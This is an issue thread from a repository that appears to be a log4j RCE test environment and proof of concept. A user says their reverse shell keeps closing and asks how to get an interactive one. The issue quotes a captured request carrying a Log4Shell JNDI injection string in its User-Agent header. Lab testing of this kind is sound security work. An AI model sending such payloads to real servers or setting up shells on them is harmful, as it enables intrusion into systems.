leonjza / log4jpwn

log4j rce test environment and poc

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Reverse Shell keeps closing

DennisFeldbusch opened this issue · comments

When I send a request with curl I get the same connection and output like the README tells, but it seems like I can't send commands. It just prints all I write and enter doesn't seem to send the commands to the server.

When I try it with the pwn.py script I get a connection from the server in my netcat like the following:

Connection from 192.168.178.80:55100
GET / HTTP/1.1
Host: 192.168.178.80:4040
User-Agent: ${jndi:ldap://127.0.0.1:8888/${java:version}}
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

but whenever I hit enter this connection closes.

How do I get a interactive shell?